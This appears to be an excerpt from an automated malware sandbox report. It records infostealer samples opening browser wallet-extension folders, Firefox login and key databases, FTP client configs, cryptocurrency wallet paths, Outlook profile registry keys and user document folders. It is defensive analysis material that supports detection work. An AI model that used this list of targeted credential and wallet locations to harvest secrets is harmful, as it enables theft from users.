Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\logins.json
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\key4.db
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao
Tries to harvest and steal ftp login credentials
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Roaming\FTPbox
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Roaming\FTPGetter
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Roaming\FTPInfo
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\ProgramData\SiteDesigner\3D-FTP
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Roaming\FTPRush
Tries to steal Crypto Currency Wallets
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe File opened: C:\Users\user\AppData\Roaming\Exodus\
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe File opened: C:\Users\user\AppData\Roaming\MultiDoge\
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe File opened: C:\Users\user\AppData\Roaming\Binance\
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe File opened: C:\Users\user\AppData\Roaming\Ledger Live\
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB
Tries to steal Mail credentials (via file / registry access)
Source: C:\Users\user\AppData\Local\Temp\build.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004
Searches for user specific document files
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Directory queried: C:\Users\user\Documents\EFOYFBOLXA
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Directory queried: C:\Users\user\Documents\EOWRVPQCCS
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Directory queried: C:\Users\user\Documents\HMPPSXQPQV
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Directory queried: C:\Users\user\Documents\JDDHMPCDUJ
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Directory queried: C:\Users\user\Documents\JDDHMPCDUJ
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Directory queried: C:\Users\user\Documents\LHEPQPGEWF
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Directory queried: C:\Users\user\Documents\NYMMPCEIMA
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Directory queried: C:\Users\user\Documents\QFAPOWPAFG
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Directory queried: C:\Users\user\Documents\ZGGKNSUKOP
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Directory queried: C:\Users\user\Documents\JDDHMPCDUJ
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Directory queried: C:\Users\user\Documents\EFOYFBOLXA
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Directory queried: C:\Users\user\Documents\EOWRVPQCCS
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Directory queried: C:\Users\user\Documents\NVWZAPQSQL
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Directory queried: C:\Users\user\Documents\EOWRVPQCCS
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Directory queried: C:\Users\user\Documents\NVWZAPQSQL
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Directory queried: C:\Users\user\Documents\QFAPOWPAFG
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Directory queried: C:\Users\user\Documents\EFOYFBOLXA
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Directory queried: C:\Users\user\Documents\EOWRVPQCCS
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Directory queried: C:\Users\user\Documents\HMPPSXQPQV
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Directory queried: C:\Users\user\Documents\QFAPOWPAFG
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Directory queried: C:\Users\user\Documents\QFAPOWPAFG
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Directory queried: C:\Users\user\Documents\UNKRLCVOHV
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Directory queried: C:\Users\user\Documents\UNKRLCVOHV
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Directory queried: C:\Users\user\Documents\ZGGKNSUKOP
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Directory queried: C:\Users\user\Documents\JDDHMPCDUJ
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Directory queried: C:\Users\user\Documents\JDDHMPCDUJ
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Directory queried: C:\Users\user\Documents\EFOYFBOLXA
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Directory queried: C:\Users\user\Documents\EFOYFBOLXA
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Directory queried: C:\Users\user\Documents\EOWRVPQCCS
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Directory queried: C:\Users\user\Documents\NVWZAPQSQL
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Directory queried: C:\Users\user\Documents\UNKRLCVOHV
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Directory queried: C:\Users\user\Documents\ZGGKNSUKOP
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Directory queried: C:\Users\user\Documents\EFOYFBOLXA
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Directory queried: C:\Users\user\Documents\EOWRVPQCCS
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Directory queried: C:\Users\user\Documents\HMPPSXQPQV
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Directory queried: C:\Users\user\Documents\JDDHMPCDUJ
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Directory queried: C:\Users\user\Documents\LHEPQPGEWF
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Directory queried: C:\Users\user\Documents\NVWZAPQSQL
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Directory queried: C:\Users\user\Documents\NYMMPCEIMA
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Directory queried: C:\Users\user\Documents\QFAPOWPAFG
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Directory queried: C:\Users\user\Documents\UNKRLCVOHV
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Directory queried: C:\Users\user\Documents\UNKRLCVOHV
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Directory queried: C:\Users\user\Documents\ZGGKNSUKOP
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Directory queried: C:\Users\user\Documents\ZGGKNSUKOP
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Directory queried: C:\Users\user\Documents\EFOYFBOLXA
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Directory queried: C:\Users\user\Documents\NVWZAPQSQL
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Directory queried: C:\Users\user\Documents\NYMMPCEIMA
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Directory queried: C:\Users\user\Documents\BJZFPPWAPT
